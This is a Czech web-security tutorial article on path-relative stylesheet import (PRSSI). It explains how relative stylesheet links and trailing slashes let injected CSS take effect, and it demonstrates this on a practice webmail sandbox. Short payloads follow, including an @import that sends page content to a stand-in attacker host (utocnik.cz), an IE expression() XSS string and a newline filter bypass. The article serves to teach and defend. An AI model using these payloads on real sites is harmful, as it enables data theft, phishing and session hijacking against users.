Path-relative stylesheet import (PRSSI)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: .cCuMiNn.
Datum: 25.8.2017
Hodnocení/Hlasovalo: 2/26

Také ve svých webových aplikacích odkazujete na kaskádové styly relativně? Možná by bylo dobré tuto zažitou praktiku změnit. Sama tato skutečnost totiž může být poměrně závažným bezpečnostním nedostatkem.

Různé typy odkazování

Pojďme naše povídání začít popisem různých typů odkazování se na externí zdroje. Představte si webovou stránku https://www.soom.cz/projects/forarticles/PRSSI.php, která načítá obrázek umístěný na adrese https://www.soom.cz/projects/forarticles/example.png různými způsoby:





Webový prohlížeč se pokusí načíst jednotlivé zdroje následujícím způsobem:

Absolutí adresa

První z uvedených příkladů odkazuje na zdroj uvedením protokolu, domény a celé cesty ke zdroji:

https://www.soom.cz/projects/forarticles/example.png

V tomto případě je tedy vše (protokol, doména i cesta) zapsáno absolutně a říkáme tedy, že se jedná o absolutní adresu.

Absolutní doména a cesta / relativní protokol

Druhý z příkladů odkazuje na konkrétní zdroj pouze uvedením domény a celé cesty ke stránce. Protokol bude v tomto případě použit stejný, jaký byl použit pro načtení odkazující stránky

//www.soom.cz/projects/forarticles/example.png
    =>  http://www.soom.cz/projects/forarticles/example.png

//www.soom.cz/projects/forarticles/example.png
    =>  https://www.soom.cz/projects/forarticles/example.png

O použitém protokolu by se tedy dalo říci, že je relativní v závislosti na odkazující se stránce. Doména a cesta jsou pak zapsány absolutně.

Absolutní cesta / relativní protokol a doména

Třetí příklad odkazuje na konkrétní zdroj uvedením pouze celé cesty ke stránce. Protokol a doména budou shodné, jako má odkazující stránka. Pokud tedy budeme na zdroj

/projects/forarticles/example.png

odkazovat ze stránky

https://www.soom.cz/projects/forarticles/PRSSI.php

nebo z jakékoliv jiné stránky na doméně soom.cz, pak bude prohlížeč načítat obrázek z URL

https://www.soom.cz/projects/forarticles/example.png

Pokud ale použijeme stejný kód na jiné doméně, například https://www.example.com, pokusí se prohlížeč načíst obrázek z adresy

https://www.example.com/projects/forarticles/example.png

O použitém protokolu a doméně by se tedy dalo říci, že jsou relativní v závislosti na odkazující se stránce. Jediná cesta k souboru je v tomto případě zapsána absolutně.

Relativní protokol, doména i cesta

Poslední příklad ukazuje použití relativní cesty. Jedná se o případ, kdy prohlížeč připojí odkazovaný zdroj k aktuálnímu umístění, ze kterého je načítána odkazující stránka.

example.png

https://www.soom.cz/projects/forarticles/example.png

https://www.soom.cz/clanky/prssi/example.png

Relativní je v tomto případě tedy vzhledem k odkazující stránce nejen protokol a doména, ale i samotná cesta k obrázku.

Použití .. nebo .

S relativními cestami je často spojeno také použití speciálních adresářů . (tečka) a .. (dvě tečky), kde první z uvedených je odkazem na aktuální adresář a druhý odkazem na adresář nadřazený (rodičovský).

Pokud bychom se například chtěli z tohoto článku relativně odkázat na výše uvedený obrázek, který je dostupný na adrese

https://www.soom.cz/projects/forarticles/example.png

provedli bychom to zápisem

../projects/forarticles/example.png

Musíme se totiž nejprve dostat z aktuálního adresáře „clanky“ do rootu webu, a teprve z něj se budeme nořit do adresáře „projects/forarticles“. Použití tečky a dvou teček je viditelné také u čtvrtého příkladu na naší stránce s příklady.


Ve zkratce se dá říci, že relativní cesty jsou ty, které nezačínají uvedením protokolu, ani jedním nebo dvěma lomítky. A právě těmto (relativním) odkazům na zdroje bude věnován následující text.


Tvorba relativních cest a parsování URL

Zaměříte-li svou pozornost na relativní cesty, pak si můžete všimnout, že webové prohlížeče poskládají cílovou adresu odkazovaného zdroje tak, že vezmou aktuální cestu stránky, která se na zdroj odkazuje, vymažou z ní vše, co je za posledním uvedeným lomítkem a za tuto adresu vloží relativní cestu z odkazu.

Několik příkladů:

https://www.soom.cz/  +  example.png
    =>  https://www.soom.cz/example.png

https://www.soom.cz/  +  example.png
    =>  https://www.soom.cz/example.png

https://www.soom.cz/projects/forarticles/  +  example.png
    =>  https://www.soom.cz/projects/forarticles/example.png

Pojďme se v praxi detailněji zaměřit na konkrétní situaci (příklad 4a), kdy stránka https://www.soom.cz/projects/forarticles/PRSSI.php načítá externí obrázek z relativního umístění example4a.png, tedy ze stejného adresáře, ve kterém je umístěn i samotný soubor PRSSI.php.

Již víme, že dojde k načtení obrázku z umístění https://www.soom.cz/projects/forarticles/example4a.png.

Co se však stane, pokud stránku https://www.soom.cz/projects/forarticles/PRSSI.php načteme se znakem lomítka na konci URL https://www.soom.cz/projects/forarticles/PRSSI.php/?

Stránka PRSSI.php se v pořádku načte, protože ignorování koncového lomítka je běžné chování PHP interpretu. Obdobně by se načetli také stránky v .NETu a v mnoha dalších programovacích jazycích a frameworcích. K čemu nám ale může být toto chování dobré? Víme, že při doplňování relativních cest vezme webový prohlížeč z volající adresy celou část před posledním lomítkem a za toto poslední lomítko přidá odkazovanou relativní cestu. Z toho tedy plyne, že při přidání lomítka na konec adresy se prohlížeč pokusí načíst obrázek z umístění

https://www.soom.cz/projects/forarticles/PRSSI.php/example4a.png

a nikoliv, jak bychom možná čekali, z adresy

https://www.soom.cz/projects/forarticles/example4a.png

Na stránce s našimi příklady je vidět, že toto není úplně v pořádku, protože se na dané adrese žádný obrázek nenachází. Namísto obrázku se proto v příkladu 4a, který je načítán relativně, zobrazí pouze chybová ikona.

Obrázek se nepodařilo načíst

Pro důkaz, že se prohlížeč skutečně zachová uvedeným způsobem, se podívejme ještě na záznam komunikace s jednotlivými požadavky, které opustili náš webový prohlížeč při načítání stránky s příklady. Pokud se zaměříte na obrázek example4a.png, zjistíte, že se prohlížeč skutečně pokouší o jeho načtení z adresy

https://www.soom.cz/projects/forarticles/PRSSI.php/example4a.png

Záznam komunikace

Webový prohlížeč se bude chovat stejně i ve chvíli, kdy za koncové lomítko uvedete libovolný řetězec. Například, když budete načítat tuto adresu:

https://www.soom.cz/projects/forarticles/PRSSI.php/foo

Interpret jazyka na serveru rozparsuje uvedené URL tak, že načte zdroj PRSSI.php a část za lomítkem bude ignorovat. Při pokusu o načtení URL https://www.soom.cz/projects/forarticles/PRSSI.php/foo server tedy vrátí obsah stránky PRSSI.php, což bude pro celý útok naprosto zásadní.


Poznámka: Tohoto chování by se dalo mimo jiné zneužít při indexaci neexistujících adres ze strany webových vyhledávačů, viz článek Jak zničit konkurenci pomocí „hezkých“ URL.


Vrátíme-li se k naší testovací stránce, konkrétně k příkladu 4a, víme, že pokud budeme webovou stránku načítat s lomítkem na konci, které může být následované libovolným textem, viz

https://www.soom.cz/projects/forarticles/PRSSI.php/foo

bude prohlížeč vyžadovat relativně odkazované zdroje z chybných umístění. V našem případě se testovací stránka pokusí o načtení obrázku z adresy

https://www.soom.cz/projects/forarticles/PRSSI.php/example.png

Zbývá zodpovědět otázku, co se ze serveru na tento neplatný požadavek vrátí. Chybová ikona značící, že se nepodařilo obrázek načíst, by mohla svádět k domněnce, že se ze serveru vrací stránka se status kódem 404. Tedy, že daný zdroj nebyl nalezen. My ale už víme, že tomu tak ve skutečnosti není. Řekli jsme si totiž už, že server vrátí odkazovaný zdroj PRSSI.php a zbytek adresy za lomítkem (tedy example.png) bude ignorovat. Server tedy vrátí obsah webové stránky PRSSI.php, ale protože se ve skutečnosti nejedná o obrázek, který by mohl prohlížeč vykreslit, zobrazí chybovou ikonu. Již jednou uvedený screenshot se záznamem komunikace o tom podává jasný důkaz. Když se podíváte na řádek s načítáním obrázku example4a.png, uvidíte, že server skutečně vrací status kód 200 a délka vrácené odpovědi (2432 bytů) se shoduje s velikostí odpovědi při požadavku na PRSSI.php.

Záznam komunikace


Relativní cesty a CSS

Nyní se již pomalu dostáváme k jádru pudla. Existuje totiž poměrně velké procento webových stránek, u nichž jejich vývojáři načítají stylesheet soubory právě uvedením relativních adres.



Poznámka: Jak již bylo uvedeno, relativní cesty jsou všechny ty, které nezačínají protokolem nebo lomítkem. Například v kódu <link rel="stylesheet" type="text/css" href="/css/style.css"> kde cesta začíná lomítkem, je použito absolutní cesty a následující popis se tedy takovéto stránky nebude týkat.


Pojďme si vše vyzkoušet v praxi na našem pískovišti http://www.hackmail.cz.

Hackmail: testovací prostředí

Pokud se podíváte do zdrojového kódu homepage, zjistíte, že uvedená aplikace načítá externí stylopis kódem:

Pojďme načíst homepage webu návštěvou adresy http://www.hackmail.cz/index.php. Dle předpokladu si tato stránka načte stylopis z adresy http://www.hackmail.cz/base.css.

Nyní pojďme stejnou stránku načíst s lomítkem přidaným na konec adresy http://www.hackmail.cz/index.php/. Z předchozích odstavců byste již měli vědět, že se stránka pokusí načíst stylopis z adresy http://www.hackmail.cz/index.php/base.css. Pokud vám stále nedochází, proč tomu tak je, doporučuji vám vrátit se v textu na začátek a přečíst si předchozí odstavce ještě jednou.

Protože namísto stylopisu base.css vrátí ve skutečnosti server stránku index.php, která žádné styly neobsahuje, bude webová stránka dle očekávání zobrazena bez stylování.

Chybné odkázání na CSS


Hackování s PRSSI

Pojďme si položit otázku, co by se stalo, pokud by stránka index.php z předchozího příkladu skutečně obsahovala pouze validní zápis stylopisu? Tipujete správně, pokud si myslíte, že by tyto styly byly uplatněny. Jak ovšem víme, soubor index.php neobsahuje stylopis, ale HTML kód webové stránky.

Neplatný Content-Type

Pohledem na zachycenou komunikaci navíc zjistíte, že ve chvíli, kdy je vracena stránka index.php namísto požadovaného stylopisu, má nastaven MIME type na HTML. Detailněji tuto skutečnost zachycuje následující obrázek.

Content-Type

I kdyby tedy vrácená stránka obsahovala legitimní CSS, stále by zde zůstával problém s vráceným Content-Typem nastaveným na hodnotu text/html. Moderní webové prohlížeče totiž kontrolují, zda jsou stylopisy a jiné externí zdroje vraceny se správným content-typem. Pokud ne, prohlížeč je nezpracuje a v konzoli nás na tuto skutečnost upozorní.

Reakci prohlížeče zobrazenou v chybové konzoli si můžete prohlédnout na následujícím obrázku, případně si můžete uvedené chování přímo vyzkoušet na testovací stránce https://www.soom.cz/projects/forarticles/PRSSI-CSS.php.

Zpráva v chybové konzoli

Uvedeným způsobem se ale budou chovat pouze webové stránky, které mají nastaven moderní typ dokumentu, například:

Pokud ovšem HTML stránka uvádí ve svém kódu starší typ dokumentu

nebo pokud stránka deklaraci DOCTYPE neobsahuje vůbec, poběží prohlížeč v takzvaném Quirks módu, který je k obsahu dokumentu mnohem benevolentnější a Content-Type externího obsahu nebude restriktivně kontrolován. Reakci prohlížeče v konzoli v tomto případě zachycuje následující obrázek, resp. příklad dostupný na adrese https://www.soom.cz/projects/forarticles/PRSSI-CSS-old.php.

Zpráva v chybové konzoli

Poznámka: Pokud je cílová stránka načtena jako obsah rámu (prvku iframe), který je umístěn na jiné webové stránce, pak Internet Explorer přebíjí DOCTYPE stránky načtené v rámu DOCTYPEm stránky, které iframe obsahuje. Pokud je tedy možné načíst cílovou stránku do rámu (chybí obrana proti útokům typu clickjacking), pak je možné ji v IE zpracovat ve Quirks módu, přestože cílová stránka sama uvádí jiný moderní DOCTYPE.

Benevolentní CSS2

V tuto chvíli tedy již víme, že pokud jsou splněny následující podmínky

dotáhne si stránka při svém načtení stylopis „sama ze sebe“. Tedy, že stránka http://www.hackmail.cz/index.php/, která se pokusí o načtení stylopisu z adresy http://www.hackmail.cz/index.php/base.css načte ve skutečnosti jako stylopis stránku http://www.hackmail.cz/index.php. Vrácený obsah (HTML kód) se prohlížeč pokusí zpracovat a použít jako CSS.

Nejspíš si říkáte, že po načtení tohoto obsahu musí během jeho zpracování dojít k vyvolání chyby a k ukončení zpracování stylopisu. Specifikace CSS2 je v tomto ale velice benevolentní a při výskytu neplatného zápisu se pokračuje v dalším zpracování souboru. Pokud se tedy bude uvnitř HTML kódu nacházet také kus legitimního CSS, bude tento za splnění určitých podmínek uplatněn.

Injektujeme vlastní CSS

Nyní si představte situaci, kdy CSS uvedené uvnitř HTML kódu nebude pocházet od vývojářů aplikace, ale od Vás samotných. Webové stránky totiž často zobrazují uživatelská data, která mohou být perzistentní, nebo která reflektují hodnotu některého vstupu. Pokud se zaměříte například na homepage našeho testovacího webmailu po té, co se k němu přihlásíte, můžete si všimnout, že se na této stránce vyskytuje hned několik výstupů, které jsme schopni ovlivnit, například uživatelské jméno, login, referer, nebo user-agent.

Reflexe uživatelských vstupů

Místo libovolného z uvedených vstupů bychom mohli snadno vložit legitimní kód stylopisu. V následujících ukázkách zvolím pro injekci CSS například „jméno“ zobrazované v části „Vítejte uživateli“. Jeho hodnotu můžete snadno měnit v nastavení účtu.

Nyní Vás už asi zajímá pouze to, jak by měl vypadat zápis CSS, který je potřeba vložit do jména, aby byl tento při načtení stránky http://www.hackmail.cz/index.php/test skutečně zpracován. Při našem následujícím testování se budeme pokoušet o změnu barvy textu na červenou. Zkusíme tedy do svého jména vložit globální selektor (*), kterému se dané styly pokusíme přiřadit:

*{red}

Reflexe uživatelského CSS

Na screenshotu vidíte, že naše styly uplatněné nebyly. Před tím, než začneme definovat své vlastní styly, musíme totiž nejprve z nevalidního (html) kódu, který se nachází před námi injektovaným (css) kódem udělat nevalidní CSS selektor. To provedeme tak, že před náš kód vložíme znaky {}, případně pouze }, pokud byla v HTML kódu uvedena otevírací složená závorka. Jako naše jméno tedy uvedeme řetězec:

{}*{red}

Injekce uživatelského CSS

Vidíte, že nyní se již naše styly skutečně uplatnily.

Řešíme drobné komplikace

Linkování CSS z rodičovských adresářů

Pojďme se nyní pokusit injektovat vlastní CSS na stránce http://www.hackmail.cz/inc/eshop.php prostřednictvím jména v textu „Nakupujete na jméno“.

Pokud se pojmenujete stejným řetězcem, jako v předchozím případě, tedy

{}*{red}

a načtete stránku s přidáním lomítka na konec adresy, pak se styly (červená barva) z nějakého důvodu neuplatní.

Chybné načtení CSS

Jak tedy vidíte, nepůjde to vždy stejně snadno. Když se podíváte do zdrojového kódu stránky index.php, kde se nám injekce již podařila, zjistíte, že se stylopis načítá kódem

Pokud se ale podíváme na stejný řádek na jiných stránkách, například na stránce s e-shopem, zjistíte, že se stylopis načítá kódem

Důvod je asi zřejmý. Zatímco index.php se nacházel v rootu webu společně se souborem base.css, v případě stránky s e-shopem tomu tak již není. Stránka e-shopu se nachází v adresáři inc a pro stylopis musí proto sáhnout do nadřazeného adresáře.

Pokud jste tedy v e-shopu přidali lomítko na konec adresy, pokusil se prohlížeč načíst stylopis z adresy

http://www.hackmail.cz/inc/eshop.php/../base.css
    =>  http://www.hackmail.cz/inc/base.css

Na dané adrese se ovšem žádný takový soubor nenachází a server proto odpoví chybou 404.

Tato komplikace jde naštěstí vyřešit poměrně snadno. Stačí, když při načítání stránky uvedeme na konec adresy o jedno lomítko více (může být opět následováno textem), například

http://www.hackmail.cz/inc/eshop.php/test/test
http://www.hackmail.cz/inc/eshop.php//

Prohlížeč se nyní pokusí o načtení stylopisu z adresy

http://www.hackmail.cz/inc/eshop.php/test/../base.css
    =>  http://www.hackmail.cz/inc/eshop.php/base.css

Nyní se tedy již na žádost o CSS vrátí soubor eshop.php s injektovanými styly, přesně tak, jak jsme potřebovali.

Injekce vlastního CSS

Stejně bychom přidávali i další lomítka, pokud by se CSS linkovaly z adresářů na ještě vyšších úrovních.

Bypass kódu

Nyní se pokusme injektovat vlastní CSS na stránce http://www.hackmail.cz/inc/nastaveni.php prostřednictvím vstupního pole „Jméno“. I zde bude posléze nutné načítat stránku se dvěma lomítky na konci, protože se stylopis načítá relativně z rodičovského adresáře. K uplatnění stylů ovšem přesto nedojde.

Injekce vlastního CSS skrze input

Námi injektovaný řetězec je totiž tentokrát v HTML kódu uzavřen v uvozovkách, protože se jedná o hodnotu atributu value. Aby parser CSS dokázal správně rozpoznat začátky a konce konkrétních částí, bylo by nutné se z řetězce nejprve vyprostit pomocí uvozovek (respektive apostrofu, v závislosti na tom, které znaky byly v HTML kódu použity).

" {}*{red}

Náš webmail ovšem v daném poli kvůli obraně před útoky XSS převádí uvozovky na HTML entitu &quot;. Proto to stále nebude fungovat. Nezbyde nám tedy, než rozdělit řetězec vložením bílého znaku %0A na dva řádky.

%0A{}*{red}

Protože se jedná o bílý znak, který běžným způsobem do vstupního pole nevložíte, a protože se navíc jedná o POST požadavek, bude nutné tento znak přidat například při pozastavení odesílaného požadavku pomocí Interceptu z nástroje Burp Suite.

Úprava POST požadavku

Injektovaný CSS kód se nyní v HTML kódu vrácené stránky ocitne na samostatném řádku a bude proto již bez problémů zpracován.

Provedený bypass


Útočíme pomocí CSS

Z výše uvedeného textu by se mohlo zdát, že útoky PRSSI umožňují útočníkům pouze změnit styly, které se na stránce uplatní, což by zdánlivě nijak nebezpečné nebylo. Situace je ale ve skutečnosti mnohem závažnější, než by se mohlo zdát. PRSSI umožňuje útočníkům mnoho různých způsobů zneužití. Na některé z nich se proto nyní blíže podíváme.

Content Spoofing

Pozdržím-li se chvíli pouze u prostého nastavení stylů, pak i jeho změnou může útočník napáchat velké škody. Může totiž například veškerý legitimní obsah stránky zobrazit průhledně a prvku body může jako pozadí nastavit obrázek, který bude obsahovat nějakou falešnou informaci.

{} body{background:url("http://www.utocnik.cz/hack.jpg") no-repeat top center black;} *{opacity:0;}

Content spoofing pomocí CSS

Cross-Site Scripting (XSS)

Ve chvíli, kdy je útočník schopen injektovat vlastní CSS, může toho využít ke spuštění vlastního kódu Javascriptu v prohlížeči napadeného uživatele. Toto se týká pouze starších verzí webových prohlížečů, které toto umožňovaly mnoha způsoby, viz https://html5sec.org. Dnes je možné spouštět Javascript prostřednictvím CSS pouze v Internet Exploreru pomocí vlastnosti expression a to jen, pokud je stránka načtena v compatibility módu IE7.

{}*{xss:expression(open(alert(1)))}

WWW-Authenticate

Samotné CSS umožňuje načítat další externí stylopisy použitím pravidla @import. Pokud tedy útočník skrze PRSSI importuje do aplikace kód

{} @import url("http://www.utocnik.cz/foo.css");

pokusí se webový prohlížeč načíst externí soubor z webového serveru útočníka.

Útočník může ale zaslat zpět také hlavičku WWW-Authenticate, která způsobí, že se uživateli zobrazí autentizační formulář, viz útok WWW-Authenticate popsaný ve článku Krádež přihlašovacích údajů obrázkem.

Cross-Site Request Forgery (CSRF)

Prostřednictvím pravidla @import je možné také zajistit, že uživatel odešle nevědomky libovolný GET požadavek ze své IP adresy a pod svou identitou na libovolný server v internetu, nebo v interní síti.

Information Leakage

Dalším zajímavým typem útoku, který zneužívá pravidlo @import, je krádež důvěrných dat z webové stránky, do které je CSS injektováno. Představte si, že například do stránky http://www.hackmail.cz injektujete následující kód prostřednictvím jména v sekci „Vítejte uživateli“

{} @import"http://www.utocnik.cz/kradez.php?a=

Injekce CSS

Ve zdrojovém kódu HTML stránky se toto promítne následujím způsobem:

Vítejte uživateli {} @import"http://www.utocnik.cz/kradez.php?a=

Až se tento kód bude zpracovávat jako CSS a ne jako HTML, pak se v GET proměnné „a“ odešle na server útočníka hodnota „</h1>“. Ve skutečnosti se ale neodešle pouze ona, nýbrž vše co se nachází v kódu za znakem rovnítka až do místa, kde se narazí na uvozovku, která URL adresu pro import uzavře. V našem případě bude po injekci kód vypadat tak, jek je uvedeno níže s tím, že se tak útočník dozví o počtu doručených zpráv ve schránce napadeného uživatele.

{} @import"http://www.utocnik.cz/kradez.php?a=
Ve tvé schránce je právě 0 doručených zpráv. Záznam komunikace - únik dat

Poznámka: Aby tento útok fungoval, nesmí se v kódu (získané URL adrese) vyskytovat bílý znak pro přechod na nový řádek.

SID hijacking via Referer

Pokud URL obsahuje citlivá data, jako je například Session ID, pak by tato data mohla při použití pravidla @import opustit uživatelův webový prohlížeč prostřednictvím HTTP hlavičky Referer.

Krádež obsahu libovolného prvku

Pomocí CSS lze mimo výše uvedené získat také obsah libovolného prvku (s výjimkou inputu s typem password). Útočník se tak může zmocnit například Session ID, CSRF tokenů a jiných důvěrných dat uživatele.

Způsob krádeže dat s využitím CSS popisuje například článek http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html, demo: http://vulnerabledoma.in/poc_unicode-range2.html.


Obrana

Pokud budete chtít ochránit Vaší aplikaci před PRSSI útoky, je dobré dodržovat následující doporučení:


Reference

Relative Path Overwrite (RPO)
Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities